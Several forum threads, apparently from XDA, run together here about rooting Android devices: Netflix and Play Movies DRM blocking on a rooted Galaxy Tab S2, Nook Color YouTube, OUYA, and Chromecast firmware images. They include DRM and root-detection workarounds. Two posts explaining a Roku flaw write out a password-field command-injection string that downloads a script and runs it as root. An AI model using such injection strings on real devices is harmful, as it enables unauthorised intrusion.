Hello there,
Netflix refuses to play nice even on a systemless root, the only root app installed is supersu. I tried disabling supersu and that still didn't cut it. Anyone have any suggestions?
I am aware of liboemcrypto.so which if renamed/removed can break drm for other services that don't fall back on alternatives. I am aware of the CM patch for exynos 4 that works for this exynos 5 device.
I'm trying to find out if I'm missing something and if anyone would be willing to share with me how they are using netflix with the described scenario.
SM-T710 5.1.1 BOL6 with TWRP & SuperSU in system-less mode.
Thanks!! :silly:
Have you deleted su/xbin_bind?
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Have you deleted su/xbin_bind?
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The act of even flashing TWRP trips the netflix drm, presumably windvine. I think this goes hand and hand with the systemless root identification. This is simply unacceptable.
This kind of abuse is why people circumvent overbearing DRM because it becomes too difficult to get content through appropriate means. Cavemen banging rocks together to fight the tide and punish paying customers.
I'll be writing emails to windvine, google and netflix to explain why this is unacceptable behavior. This is MY $ 400 tablet, I will not be subjected to nanny knows best mode because some pencil pusher thinks that people will steal video content on android. I mean really, there's far better platforms to do that sort of thing on. I don't think so... homie don't play that.
I encourage everyone to also get in touch with them and let them know why truly owning the device you paid for is your right and why they are taking video on demand back into the stone ages.
wirelesskebab said:
Hello there,
Netflix refuses to play nice even on a systemless root, the only root app installed is supersu. I tried disabling supersu and that still didn't cut it. Anyone have any suggestions?
I am aware of liboemcrypto.so which if renamed/removed can break drm for other services that don't fall back on alternatives. I am aware of the CM patch for exynos 4 that works for this exynos 5 device.
I'm trying to find out if I'm missing something and if anyone would be willing to share with me how they are using netflix with the described scenario.
SM-T710 5.1.1 BOL6 with TWRP & SuperSU in system-less mode.
Thanks!! :silly:
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Can you explain more about SuperSU in system-less mode? Is it a setting in SuperSU or you just need to flash latest stable SuperSU with TWRP and you will get that systemless root?
mk89pwnz said:
Can you explain more about SuperSU in system-less mode? Is it a setting in SuperSU or you just need to flash latest stable SuperSU with TWRP and you will get that systemless root?
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As long as you have 5.1.1 >> and use supersu v2.6x then root will be system less as long as you don't make any modifications to the system partition.
netflix is ok on my rooted t715.
It only plays 720p which is annoying but fine otherwise.
also, .. weirdest non informative post title ever award goes to ...
you.
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I'll be writing emails to windvine, google and netflix to explain why this is unacceptable behavior. This is MY $ 400 tablet, I will not be subjected to nanny knows best mode because some pencil pusher thinks that people will steal video content on android. I mean really, there's far better platforms to do that sort of thing on. I don't think so... homie don't play that.
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So because you own a $400 tablet Netflix should change THEIR policy and make THEIR service work on your tablet?
Entitled much? Don't like Netflix's policy, stop using their service.
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jarayn said:
netflix is ok on my rooted t715.
It only plays 720p which is annoying but fine otherwise.
also, .. weirdest non informative post title ever award goes to ...
you.
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I'm glad that it works rooted for you, but my thread is not necessarily to be "informative" but to ask the community if they had any alternative solutions to allowing HD netflix content to play despite windvine; barring wiping my tablet. I'm only getting 420p, it was also not okay rooted/custom recovery and was completely disabled if not for workarounds. (This is the true intention of windvine, there is not meant to be a workaround otherwise the functionality wouldn't have been disabled just reduced quality.) Granted my topic title was a manifestation from days of frustration related to trying to find a solution.
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So because you own a $400 tablet Netflix should change THEIR policy and make THEIR service work on your tablet?
Entitled much? Don't like Netflix's policy, stop using their service.
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It's interesting that you condone DRM that punishes paying customers. You're entitled to your opinion although I'm not sure why you've decided to make it about your feelings rather than the facts.
Your quote is incomplete; My message is about encouraging everyone to also get in touch with them and let them know why truly owning the device you paid for is your right and why they are taking video on demand back into the stone ages. The more people who contact them the more likely that change can happen.
You should take note that even one of the largest cable operators "XFINITY" or "COMCAST" doesn't even resort to such draconian measures to protect their content and on that note they have some of the newest content, even releasing episodes before they air on TV same day via their web streaming/xfinity tv go app.
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I'm glad that it works rooted for you, but my thread is not necessarily to be "informative" but to ask the community if they had any alternative solutions to allowing HD netflix content to play despite windvine; barring wiping my tablet. I'm only getting 420p, it was also not okay rooted/custom recovery and was completely disabled if not for workarounds. (This is the true intention of windvine, there is not meant to be a workaround otherwise the functionality wouldn't have been disabled just reduced quality.) Granted my topic title was a manifestation from days of frustration related to trying to find a solution.
It's interesting that you condone DRM that punishes paying customers. You're entitled to your opinion although I'm not sure why you've decided to make it about your feelings rather than the facts.
Your quote is incomplete; My message is about encouraging everyone to also get in touch with them and let them know why truly owning the device you paid for is your right and why they are taking video on demand back into the stone ages. The more people who contact them the more likely that change can happen.
You should take note that even one of the largest cable operators "XFINITY" or "COMCAST" doesn't even resort to such draconian measures to protect their content and on that note they have some of the newest content, even releasing episodes before they air on TV same day via their web streaming/xfinity tv go app.
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my quote was incomplete, notice the ellipse (...) before and after?
You pay ~$9 a month for a service, you paid $400 for a tablet, you root the $400 item, then get mad that the service doesn't work, even though you knew going into rooting it wouldn't work. I'm sorry but you can be mad, you can ask for help, but at the end of the day you have three real options, don't root, root and live with low res, or cancel Netflix.
I'm not trying to be mean, I am trying manage expectations.
If XFINITY doesn't do it, use them (that's how a free market works). I understand the frustration, and the desire to find a way around the restrictions, but to claim Samsung or Netflix owes you something that you knew wasn't going to happen is entitled. You do own your tablet (though if you read the agreement you agreed to when opening the tablet you would know you don't own the software) but you do not own any of the content on Netflix, and so you have no right to demand Netflix comply with your demands. A grassroots effort is cool, though likely not to amount to much since the number of people who will stop service over this is small compared to the sway the content providers have over Netflix.
None of this is my feelings, it's based on facts. You own the hardware, Samsung owns the software, Netflix owns the service (and some of the original content), the content owners own the content.
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my quote was incomplete, notice the ellipse (...) before and after?
You pay ~$9 a month for a service, you paid $400 for a tablet, you root the $400 item, then get mad that the service doesn't work, even though you knew going into rooting it wouldn't work. I'm sorry but you can be mad, you can ask for help, but at the end of the day you have three real options, don't root, root and live with low res, or cancel Netflix.
I'm not trying to be mean, I am trying manage expectations.
If XFINITY doesn't do it, use them (that's how a free market works). I understand the frustration, and the desire to find a way around the restrictions, but to claim Samsung or Netflix owes you something that you knew wasn't going to happen is entitled. You do own your tablet (though if you read the agreement you agreed to when opening the tablet you would know you don't own the software) but you do not own any of the content on Netflix, and so you have no right to demand Netflix comply with your demands. A grassroots effort is cool, though likely not to amount to much since the number of people who will stop service over this is small compared to the sway the content providers have over Netflix.
None of this is my feelings, it's based on facts. You own the hardware, Samsung owns the software, Netflix owns the service (and some of the original content), the content owners own the content.
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The purpose of this thread is to ask others if they have any means of accessing HD content via Netflix on their rooted/custom recovery devices. Your replies have not been conducive or relevant to the original post. If you've got something helpful to contribute, please do. Thanks.
Just change device name to SM-T810 using buildprop, worked for me
Exactly which value did you modify? Nothing that I changed to the above suggestion would prompt Netflix to start playback for me.
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Just change device name to SM-T810 using buildprop, worked for me
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Exactly which value did you modify? Nothing that I changed to the above suggestion would prompt Netflix to start playback for me.
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I'm using an SM-T710, I have no modified kernel nor am I using a custom rom. Are you saying you changed the buildprop on your SM-T810 using a custom rom etc?
I cannot get netflix to play with so much as even a custom recovery on my SM-T710 without a workaround which only provides 420p, are you stating you're getting HD content as well?
Eagerly awaiting your reply, thanks. :good:
I tried changing the device name to the model and that didn't make any difference, what did you explicitly change and what rom are you running?/firmware?
Didn't mean to revive a dead thread, but I'd really like some answers regarding this problem, too. I recently rooted my T-710, and installed the neked nook ROM on it. However, Netflix only plays at 480p. I tried several settings suggested to me:
1. modify build.prop
2. delete or rename liboemcrypto
3. modify APK to enable widevine DRM, thus allowing Netflix to stream HD content
None of these solutions have worked. Is this the case for anyone that roots their device?
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Didn't mean to revive a dead thread, but I'd really like some answers regarding this problem, too. I recently rooted my T-710, and installed the neked nook ROM on it. However, Netflix only plays at 480p. I tried several settings suggested to me:
1. modify build.prop
2. delete or rename liboemcrypto
3. modify APK to enable widevine DRM, thus allowing Netflix to stream HD content
None of these solutions have worked. Is this the case for anyone that roots their device?
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Same problem, using a systemless root on my T710, with stock kernel, 5.1.1. and TWRP installed. I can get Netflix to work, but nothing seems to work to get it to HD instead of 480p. I'm wondering if the folks who get HD on rooted T710s are running 5.0.2?
rogerinnyc said:
Same problem, using a systemless root on my T710, with stock kernel, 5.1.1. and TWRP installed. I can get Netflix to work, but nothing seems to work to get it to HD instead of 480p. I'm wondering if the folks who get HD on rooted T710s are running 5.0.2?
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I tried this on the stock 5.0.2 ROM, but to no avail. I've exhausted every resource I could find on the subject over the past couple of weeks, and I couldn't find a solution to this. Just removing root doesn't help either, as having even a custom recovery will disallow you from watching HD Netflix. I'm guessing perhaps the issue has something to do with messing around with the bootloader.
I wiped the tablet clean a couple of days ago and went back to stock. The bloatware sucks, but its the price to pay to get Netflix and Google Play videos working in HD again.
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I wiped the tablet clean a couple of days ago and went back to stock. The bloatware sucks, but its the price to pay to get Netflix and Google Play videos working in HD again.
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Wow. That IS a heavy price. I can't give up Xposed or GMD Gesture Control, so I guess I'm living with 480p. Sigh. Thanks for your efforts (saving me some of that process!)
Some weird stuff with this device once you flash TWRP and root. Also just found out that Microsoft Office apps, notwithstanding that they come pre-loaded on the device, won't load. Uninstall, wipe data, etc. and go to Play Store to re-install and I get the message that the app (e.g., Word, Excel, Powerpoint) is not compatible with my device! Had to sideload apks from my phone (or you can also change your device ID).
Wonder what else I'll find out in the days ahead?
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Wow. That IS a heavy price. I can't give up Xposed or GMD Gesture Control, so I guess I'm living with 480p. Sigh. Thanks for your efforts (saving me some of that process!)
Some weird stuff with this device once you flash TWRP and root. Also just found out that Microsoft Office apps, notwithstanding that they come pre-loaded on the device, won't load. Uninstall, wipe data, etc. and go to Play Store to re-install and I get the message that the app (e.g., Word, Excel, Powerpoint) is not compatible with my device! Had to sideload apks from my phone (or you can also change your device ID).
Wonder what else I'll find out in the days ahead?
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RE: Office apps, that's the other head scratching thing I happened to come upon when I first got the tablet. Although GPlay Store will say that the apps need updating, it won't actually allow you to do so - this needs to be done via Galaxy Apps. It makes no sense considering the device is listed as compatible for these apps, and the apps come pre-installed. Its definitely an issue if you have a ROM that removes all the bloatware. Its also a bit frustrating because these "Galaxy Apps" are slower to update than their GPlay counterparts.
If you don't mind me asking, what ROM are you currently using? Have you also tried GPlay videos to see if they play in HD?
Also, do bump this thread if you happen to find any fixes. It will be much appreciated.
Sheesh. I hadn't even tried GPlay movies before your post. Upon testing, I can't get them to play in ANY resolution on my rooted tab S2! Renamed liboemcrypt.so without luck. Edited my boot.prop file to identify as a Nexus 10. No go. Tried Root Cloak. Ixnay. Any other thoughts?
I'm on stock 5.11, with systemless root using Su 2.71.
Also particularly bizarre that there is no problem with Google Play Movies on my rooted Tab S 10.5 (running stock 5.0.2) or on my rooted Note 4 (running stock 5.1.1). What's with this new Tab S2?
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Sheesh. I hadn't even tried GPlay movies before your post. Upon testing, I can't get them to play in ANY resolution on my rooted tab S2! Renamed liboemcrypt.so without luck. Edited my boot.prop file to identify as a Nexus 10. No go. Tried Root Cloak. Ixnay. Any other thoughts?
I'm on stock 5.11, with systemless root using Su 2.71.
Also particularly bizarre that there is no problem with Google Play Movies on my rooted Tab S 10.5 (running stock 5.0.2) or on my rooted Note 4 (running stock 5.1.1). What's with this new Tab S2?
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Try deleting liboemcrypto.so, see if that works. Suggest backing a copy up first. Seems like some get GPlay videos to work by renaming the file, and some by deleting it.
I went thru the root process again, and realized these devices already come with the bootloader unlocked, so the issue isn't the bootloader. I'm stumped. Having no root is so limiting.
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I just picked up the Nook Color and after rooting, installing Clockwork, and then Phiredroid, I have everything working the way I want it except youtube. I've tried this thread
http://forum.xda-developers.com/showthread.php?t=925671
and many others from google searches. This is really frustrating as I love this as a tablet, but without having youtube on it makes it a lot less entertaining. I can play embedded videos, go to youtube.com and play just fine, but the app won't install. Any help is appreciated!
I dunno what the thread said, but on my nc, it was just clear market ap data, set led density to 160, (don't forget latest possible market app), reboot and yt installs fine officially for me
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I can get youtube to install without any problems, but whenever I try to run it, it force closes. Most annoying thing right now haha
roundeye1987 said:
I can get youtube to install without any problems, but whenever I try to run it, it force closes. Most annoying thing right now haha
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I made my NC work just fine with Flash/YouTube by downgrading to working apps, as described in my blog http://fineoils.blogspot.com.
Enjoy and don't forget to thank me.
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I made my NC work just fine with Flash/YouTube by downgrading to working apps, as described in my blog http://fineoils.blogspot.com.
Enjoy and don't forget to thank me.
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Cockyness aside, thanks are in order; umm, thanks!
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Cockyness aside, thanks are in order; umm, thanks!
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Perceived "Cockiness" stemmed out of fact that I suggested the solution for Nookcolor back in January. It was almost ignored here, and I was consequently ostracized because of my firm belief CM7 on Nookcolor has NO hardware acceleration of 2D/3D/video rendering. Older Flash and YouTube allow fallback to "software" rendering, newer versions deny it.
Did you try newer versions of YouTube/Flash?
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Perceived "Cockiness" stemmed out of fact that I suggested the solution for Nookcolor back in January. It was almost ignored here, and I was consequently ostracized because of my firm belief CM7 on Nookcolor has NO hardware acceleration of 2D/3D/video rendering. Older Flash and YouTube allow fallback to "software" rendering, newer versions deny it.
Did you try newer versions of YouTube/Flash?
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No offense intended, didn't know the back story. And no, once I got it working, I was so happy my headaches were gone I didn't try any newer versions. I may later on tonight, though. And thanks again. Youtube is spectacular on here heh Just need to find something that will let me play 720p .mkv files now.
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No offense intended, didn't know the back story. And no, once I got it working, I was so happy my headaches were gone I didn't try any newer versions. I may later on tonight, though. And thanks again. Youtube is spectacular on here heh Just need to find something that will let me play 720p .mkv files now.
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Mobo Player? Rock Player? Though these might be good only for up to 480p in NC -- when there's no HW acceleration. 1350 MHz overclock may help a little.
If you really want to find something to play 720p .mkv files (and 1080p full 59.94 FPS files) you might want to try $99 HP TouchPad (and almost equally priced Jaguar 3 tablet in October) instead of NookColor. I'm done with CM7 on NookColor, you can sense it from my blog. The whole Android project is looking quite exhausted for our 4-year old chip with 8-year old SGX530 GPU.
You may want to share my find with other people who are struggling with YouTube/Flash on NC here at XDA Devs, that would be the better "Thank-You", LOL. Even if I don't get a single penny from visitors to my blog (banned at AdSense for critisizing Google).
Hi guys, I was wondering if the ROM of OUYA is already available online to be changed, and if it is not it can be moved by connecting the console to the PC? Or the console's USB port is not suitable for this purpose? And having already Ouya the ROOT else is already installed the Recovery? or you have install? And how can you get into Recovery? Ok maybe it's still a bit too early for these questions since it is still in the hands only of those who have contributed to the project on Kickstarter but if anyone was informed I'd like
I"m assuming you'll be able to use ADB and what not. Ouya said, the standard Ouya can be used to develop games, so it would seem reasonable all Ouya's can be connected to a PC, and I assume the USB port will be sufficient.
As for the rest, I think it's just a tad early to know with certainty. The only well know people to have the any units are those early dev kits, and some of hardware reviewers. I haven't heard or read, nor do I believe they would release the Ouya ROM. And based on what Ouya has stated, it looks like we're getting late beta firmware/rom since they want to add more features, improve performace, and other items based on developer and early backer feedback before the June launch in retailers.
I really would like to see ROM customization for the OUYA as I feel duped by the fact that it won't run my pre-purchased play store apps and games. There's got to be a way to have both. I want this thing to replace my PS3 as my entertainment center but I must have Google music working to do so. I also want to play my purchased games like NFS.
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It'll run em, you just have to sideload it.
Ouya said the condole would be rootable and they would be including the instructions on how to do it. Now we just have to wait until someone receives theirs and see if this is true or not?
The OUYA is simple to root. I think any generic ICS root method would work. Google Glasses was rooted by Jay Freeman just by a little tweaking, and a generic. ICS root method. I'm picking up on and plan to help as much as possible.
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The OUYA is simple to root. I think any generic ICS root method would work. Google Glasses was rooted by Jay Freeman just by a little tweaking, and a generic. ICS root method. I'm picking up on and plan to help as much as possible.
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It was rooted quickly because there wasn't any locks on it. One of the developers at Google even said it's hardly considered rooting because there were no barriers to break through.
Mine is sitting at home waiting for me right now, so I'll start looking into building a Custom ROM for it this weekend probably.
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Mine is sitting at home waiting for me right now, so I'll start looking into building a Custom ROM for it this weekend probably.
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Just be careful, because of the lack of entering fastboot/recovery during bootup, you can easily soft brick it. I've already heard of someone messing with the system and bricking. Plus you can't really build much of an custom rom without kernel source, I wouldn't seeing an better stock but won't change much for right now.
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Just be careful, because of the lack of entering fastboot/recovery during bootup, you can easily soft brick it. I've already heard of someone messing with the system and bricking. Plus you can't really build much of an custom rom without kernel source, I wouldn't seeing an better stock but won't change much for right now.
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Thanks for the concern Paulenski, not jumping into anything without looking ahead. I'm not talking about Cyanogenmod or anything as far as custom ROM's go. I just want to put together a flashable zip that will install working gapps, su, busybox, an alternate launcher, etc. A "start here" package. Not that it could be flashed yet, but I've contacted Koush and Teamwin about porting a custom recovery.
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Thanks for the concern Paulenski, not jumping into anything without looking ahead. I'm not talking about Cyanogenmod or anything as far as custom ROM's go. I just want to put together a flashable zip that will install working gapps, su, busybox, an alternate launcher, etc. A "start here" package. Not that it could be flashed yet, but I've contacted Koush and Teamwin about porting a custom recovery.
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You get this working and there will definitly be a donation on the way.
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You get this working and there will definitly be a donation on the way.
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I appreciate that. I'm really just trying to get this working the best I can for myself, and I'll share whatever I can accomplish.
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It'll run em, you just have to sideload it.
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Not if it's a game that checks in with the Play Store before downloading additional data (like many racing games do).
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Not if it's a game that checks in with the Play Store before downloading additional data (like many racing games do).
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Fair enough. Ammend that statement to say "It'll run most sideloaded apps, provided no additonal downloads/framework is required." I hadn't actually started playing with the console when I said that.
However, if you have an android phone you might be able to install it on there, download the extra data, and copy those files/folders over to the ouya. Might be worth a shot.
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Fair enough. Ammend that statement to say "It'll run most sideloaded apps, provided no additonal downloads/framework is required." I hadn't actually started playing with the console when I said that.
However, if you have an android phone you might be able to install it on there, download the extra data, and copy those files/folders over to the ouya. Might be worth a shot.
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MIGHT work...maybe. It would be easier if someone could get gapps running. That's pretty high up there on my OUYA wishlist
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Oh I am so excited for some good customs ROM's. I am also not looking for CWM for a main ROM in general, but a amazingly beefed up Ouya layout, as its not as well as it should be visually and organized. And I know MANY will be using XBMC as a media center, I feel that should be a big part of the customs ROMs. I am loving mine so much already running the android version of XBMC. So excited for the future!!
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Fair enough. Ammend that statement to say "It'll run most sideloaded apps, provided no additonal downloads/framework is required." I hadn't actually started playing with the console when I said that.
However, if you have an android phone you might be able to install it on there, download the extra data, and copy those files/folders over to the ouya. Might be worth a shot.
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Works for a handful of games, GTA3 is the biggest. Does not work for most I've tried, including gameloft games and Carmageddon.
Unfortunately I did not keep notes when I began trying sideloading apps. I do know that some backups from Android Tuner worked when those from Titanium Backup did not. I also used ES file explorer for some backups as well.
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Works for a handful of games, GTA3 is the biggest. Does not work for most I've tried, including gameloft games and Carmageddon.
Unfortunately I did not keep notes when I began trying sideloading apps. I do know that some backups from Android Tuner worked when those from Titanium Backup did not. I also used ES file explorer for some backups as well.
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For the games that did not work did you try a different BT gamepad
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For the games that did not work did you try a different BT gamepad
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By did not work. I mean that they won't run. Some actually return an error relating to additional data files.
I don't have another BT game pad and my Logitech wingman USB does not work at all.
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soft brick achived!!
yeah i kinda need the rom as my console froze (even power button didnt work) pulled the power and now its just stuck on the "(U)" boot logo, ive not made any mods to it, and only sideloaded 1 app, not too happy
These images are outdated! do not use them anymore!
there are much more useful roms and mods for the chromecast now made my devs who actually own the device. go use them. I am no longer doing anything at all with the chromecast. (I haven't found one at any local store with a serial number in the rootable range, and I have no use for a stock one.)
rooted images for the chromecast that will remove google's ability to update anything at will. Use this to save your open bootloader.
Discussion started in here: http://forum.xda-developers.com/showthread.php?t=2387392
Split off to make it easier to find for new users.
download:
build 13300: http://forum.xda-developers.com/showthread.php?t=2453097 not my image. Made by someone who actually owns a chromecast.
build 12940: https://dl.dropboxusercontent.com/u/19978192/gtvhacker-chromecast-12940.bin.gz
build 12840: https://dl.dropboxusercontent.com/u/19978192/gtvhacker-chromecast.bin.gz
Thanks to:
GTVHacker - original root image
Google - for making the h2g2-42
ellen - putting up with me making these instead of watching chick flics with her
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I like that you're reserving posts! ...especially this kind of post! lol
If I factory reset my chromecast with this firmware will it upgrade or keep this firmware?
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If I factory reset my chromecast with this firmware will it upgrade or keep this firmware?
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A factory reset will just wipe the data partition, so the device will still be safe from self-upgrading.
This is great man, I just got my cable today and my chromecast a couple days ago, I refrained from plugging it in, so unless its been updated already it should be on!
So do I need to flash the original GTVHacker bin and then your 12940 bin?
Thanks for the great work and thanks to GTVHackers and XDA.
You can just flash mine
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This is great man, I just got my cable today and my chromecast a couple days ago, I refrained from plugging it in, so unless its been updated already it should be on!
So do I need to flash the original GTVHacker bin and then your 12940 bin?
Thanks for the great work and thanks to GTVHackers and XDA.
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Flash tvall's image if you don't want it to auto-update and loose root..
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Flash tvall's image if you don't want it to auto-update and loose root..
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So we only need to flash one of these two images, correct? I'm assuming it's the first one, right? "gtvhacker-chromecast-12940.bin.gz" is tvall's image that we need to flash? After flashing that image, we'll be rooted, on the most current version, AND auto-updates will be disabled?
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So we only need to flash one of these two images, correct? I'm assuming it's the first one, right? "gtvhacker-chromecast-12940.bin.gz" is tvall's image that we need to flash? After flashing that image, we'll be rooted, on the most current version, AND auto-updates will be disabled?
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Correct
It is my understanding that one of Google's OTA's blocks local files streaming like Fling. Does your image contain the update that broke Fling?
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It is my understanding that one of Google's OTA's blocks local files streaming like Fling. Does your image contain the update that broke Fling?
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IIRC, it wasn't an OTA update that broke Fling. Google made some changes server-side that broke it. The ChromeCast connects to Google servers (or 'phones home') during use. The developer of Fling used unsupported API calls in the app, which was built using the preview SDK. Google's updates invalidated those calls, essentially rendering the app useless. Google has stated that the breaking of local media casting was unintentional, and they do plan on allowing support in the future. At the moment, the ChromeCast can still be considered a device in testing. I don't think the official SDK is out yet.
AirCast was "reverse engineered" though, right? So if it didn't have that "time bomb" in it, it should still work, right?
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AirCast was "reverse engineered" though, right? So if it didn't have that "time bomb" in it, it should still work, right?
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Aircast is dead. Fling is dead. Rooting does not help. These are dead until some day Google decides to allow it. Google allows only a few apps : Netflix, YouTube, and Google provided content. Google could have decided that allcast and fling were so popular that permitting it like Netflix is permitted will increase sales. Google could have decided to permit allcast and fling, but decided against it.
So, you might have purchased the chromecast after reading about allcast as I did, and am disappointed with having purchased a device whose very few apps are uninteresting to me.
There are only a few choices :
1. Wait and hope google will permit allcast and Fling in the future.
2. Wait and see if developers will provide this functionality for rooted devices.
3. Sell the chromecast to someone who loves Netflix and netflix alone - who isn't interested in connectivity to the many other Internet content providers - like one has access to via Roku.
Actually, stores have many devices, either standalone or built into blu ray players which provides Netflix along with far more choices for Internet provided media. Google's chromecast looks very inferior to me.
In its current form, chromecast is probably a big disappointment to most people who have purchased it. The only hope is that it will become something better in the future - either directly from Google, or via developers.
At this time, rooting gets us nothing, except hope.
Anyone want to write some detailed instructions on how to use this?
I just make the images, I don't know exactly how to use them
tim is so helpful
tvall said:
Anyone want to write some detailed instructions on how to use this?
I just make the images, I don't know exactly how to use them
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tvall...man, lemme tell ya...i'm impressed. You're sittin there making images for our Chromecasts and you aren't even able to see if they work or not and you aren't even getting to enjoy this toy. I wouldn't have NEAR the patience that you must have, especially if I wasn't even able to enjoy what I had worked on. I dunno how you do it man, but congratulations! you're officially DA BOMB!! lol We all appreciate everything you've done for us here and look forward to MANNNYYYYY more updates from you! Thank You!
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IIRC, it wasn't an OTA update that broke Fling. Google made some changes server-side that broke it. The ChromeCast connects to Google servers (or 'phones home') during use. The developer of Fling used unsupported API calls in the app, which was built using the preview SDK. Google's updates invalidated those calls, essentially rendering the app useless. Google has stated that the breaking of local media casting was unintentional, and they do plan on allowing support in the future. At the moment, the ChromeCast can still be considered a device in testing. I don't think the official SDK is out yet.
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That's very odd. I didn't think that Fling would need to connect to Google servers in order to function. Shouldn't everything just work locally? If I unhook my cable modem and leave my router on, wouldn't Fling still function without the internet?
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That's very odd. I didn't think that Fling would need to connect to Google servers in order to function. Shouldn't everything just work locally? If I unhook my cable modem and leave my router on, wouldn't Fling still function without the internet?
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See here:
http://forum.xda-developers.com/showthread.php?p=45011314
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Does anyone know if there will be any rooting to the current builds of Chromecast?
No
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Are you sure about that? I thought nothing has been found yet but still looking for a way.
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Are you sure about that? I thought nothing has been found yet but still looking for a way.
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Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.
The original hack to root the Chromecast was in the boot loader. Google has patched that and made the boot loader secure. You can't install any software on the Chromecast, and it will only talk to whitelisted apps, so how are you going to root it now? I'm not saying it's impossible, just very difficult.
For example an exploit to root the very secure Roku boxes came out 2 days ago, and the security hole exploited was an incredibly dumb oversight by Roku. The Roku can be put into Developer Mode by a special combination of remote button presses. The Developer Mode displays extra information and allows you to install apps over a local network without going through the app store, but the app environment is no less secure. You can specify a password for Developer Mode when you first set it up, and you can later reset that password if you want. When you type in a new password, the Roku internally executes a shell command of the form "passwd rokudev (new password)" to set the password. Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is internally inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://SomeExploitScript;sh /*/x.sh;" happily downloads and executes whatever exploit script you want on the device with full root privilege.
Could something like that happen on the CC? Maybe.
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Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://exploitscript;sh /*/x.sh" happily downloads and executes whatever exploit script you want on the device with full root privilege.
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Ouch, that's like a SQL injection attack.
Back to Chromecast, I think everyone's waiting for the SDK to be released and hoping to find an exploit there, as once the SDK is released it's more difficult to change it or take it back.
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Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.
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Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.
LOL this is XDA...the word IMPOSSIBLE isn't part of the Vocabulary here!
Someone will find a way to send something to CCast that makes it rooted...
Nothing is completely secure around these parts!
I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.
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Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.
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Nope not rooted....At least on my CCast....I have a dozen other devices all rooted because rooting gives me the ability to change some parameters and add some capability disabled by default.
Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
What are you doing with root that I can't right now other that bypass a whitelist? Running a Rom that incorporates the fixes I got today sometime tomorrow? Im sure team Eureka's rom does much more than just bypass the Whitelist but really other than All Cast (which I don't need since I got PlexPass) there is nothing I have seen root and a custom ROM do that I don't already have except maybe Screen Mirroring which doesn't really require root just someone to make an APP that tells the CCast it is a Googlecast which is on the Whitelist.
Does rooting make the NBC app able to stream to the CCast?
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
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I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.
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And let me be clear this is not meant to downplay the usefulness of the Team Eureka project in any way shape or form...
But I missed out on Rooting because I got the Update and the device doesn't seem to be limiting me on what I need it to do so I'm not really missing the lack of Whitelist!
Team Eureka has been VERY QUICK with the updates as they happen and if you have root good for you!
But I'm not going to complain or keep asking for a new Rooting Method just to have something I don't seem to need right now.
I gave up bragging about what I did to my Devices long ago! LOL
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Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
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Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
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What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
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First I thought you were talking Adobe (formerly Macromedia) Flash... and I was going to agree.
But you're talking device flash. And I still agree.
I always have fear that automatic updates promote a mentality of "Oh, well, if it's broken we'll just push another update" - that's another advantage of being rooted - you could just turn OTA updates off and you don't have to accept the latest-and-sometimes-not-so-great version.
However, until the SDK is officially released, it's quite possible that some new app or feature will require a particular minimum build, which could cause the delay between official release and rooted release to cause rumblings in the impatient masses. :angel:
